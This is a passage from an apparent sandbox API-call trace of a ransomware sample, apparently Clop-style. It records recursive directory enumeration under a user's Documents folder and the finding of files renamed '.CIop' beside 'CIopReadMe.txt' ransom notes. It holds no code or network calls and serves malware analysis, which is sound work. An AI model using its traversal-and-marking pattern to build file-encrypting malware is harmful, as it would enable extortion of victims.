lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0148.716] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0148.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0148.716] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0148.716] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0148.716] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0148.716] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.716] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.716] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.717] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.717] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.717] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2="..") returned 1 [0148.717] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2=".") returned 1 [0148.717] lstrlenW (lpString=".CIop") returned 5 [0148.717] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.717] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2="..") returned 1 [0148.717] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2=".") returned 1 [0148.717] lstrlenW (lpString=".CIop") returned 5 [0148.717] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.717] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0148.717] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0148.717] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0148.717] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0148.717] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0148.717] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0148.717] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0148.717] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.717] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.717] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.717] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.717] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.717] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.717] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0148.717] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0148.717] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.717] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2="..") returned 1 [0148.717] lstrcmpW (lpString1="4cjd3SaCmW1", lpString2=".") returned 1 [0148.718] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.718] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.718] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0148.718] SetErrorMode (uMode=0x1) returned 0x1 [0148.718] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0148.718] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0148.718] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\" [0148.718] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0148.718] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0148.718] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0148.718] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2="..") returned 1 [0148.718] lstrcmpW (lpString1="3kj8Y-EDPTFO.pptx.CIop", lpString2=".") returned 1 [0148.718] lstrlenW (lpString=".CIop") returned 5 [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2="..") returned 1 [0148.718] lstrcmpW (lpString1="5NEaCJn_lqI_2wf_A.pdf.CIop", lpString2=".") returned 1 [0148.718] lstrlenW (lpString=".CIop") returned 5 [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.718] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.718] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2="..") returned 1 [0148.718] lstrcmpW (lpString1="gGPxR1SI06PikWMCd.rtf.CIop", lpString2=".") returned 1 [0148.718] lstrlenW (lpString=".CIop") returned 5 [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2="..") returned 1 [0148.718] lstrcmpW (lpString1="NHki1vMmaXoWuhnR.pdf.CIop", lpString2=".") returned 1 [0148.718] lstrlenW (lpString=".CIop") returned 5 [0148.718] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.718] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2="..") returned 1 [0148.719] lstrcmpW (lpString1="tyDDeYuppbUilesSL.odt.CIop", lpString2=".") returned 1 [0148.719] lstrlenW (lpString=".CIop") returned 5 [0148.719] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.719] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0148.719] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0148.719] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1" [0148.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*" [0148.719] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0148.719] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\4cjd3SaCmW1") returned="4cjd3SaCmW1" [0148.719] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="4cjd3SaCmW1" | out: lpString1="4cjd3SaCmW1") returned="4cjd3SaCmW1" [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.719] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.719] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.719] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.719] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.719] lstrcmpW (lpString1="isZLUU", lpString2="..") returned 1 [0148.719] lstrcmpW (lpString1="isZLUU", lpString2=".") returned 1 [0148.719] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0148.720] SetErrorMode (uMode=0x1) returned 0x1 [0148.720] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0148.720] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0148.720] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0148.720] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0148.720] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0148.720] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0148.720] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="3B2V8p-DhIekN7FYAT.docx.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="5qiwP0Jfq.pps.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.720] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="fsxQuEAvOd0El-v.pps.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="gl54xs.odt.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="h8IhXzO4v.csv.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="HpvWb5EHtTvn89.pps.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="oGyow62Ehp.pdf.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.720] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.720] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2="..") returned 1 [0148.720] lstrcmpW (lpString1="Q0WDNI_cEJvL.pdf.CIop", lpString2=".") returned 1 [0148.720] lstrlenW (lpString=".CIop") returned 5 [0148.721] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2="..") returned 1 [0148.721] lstrcmpW (lpString1="tpkoPGhxV.xls.CIop", lpString2=".") returned 1 [0148.721] lstrlenW (lpString=".CIop") returned 5 [0148.721] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2="..") returned 1 [0148.721] lstrcmpW (lpString1="vv1t.doc.CIop", lpString2=".") returned 1 [0148.721] lstrlenW (lpString=".CIop") returned 5 [0148.721] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.721] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0148.721] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0148.721] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0148.721] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*" [0148.721] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67ddf8 [0148.721] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="isZLUU" [0148.721] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="isZLUU" | out: lpString1="isZLUU") returned="isZLUU" [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.721] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2="..") returned 1 [0148.721] lstrcmpW (lpString1="rMpN_ZRY5SqnHAJ8aGld", lpString2=".") returned 1 [0148.721] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU" [0148.721] lstrcatW (in: 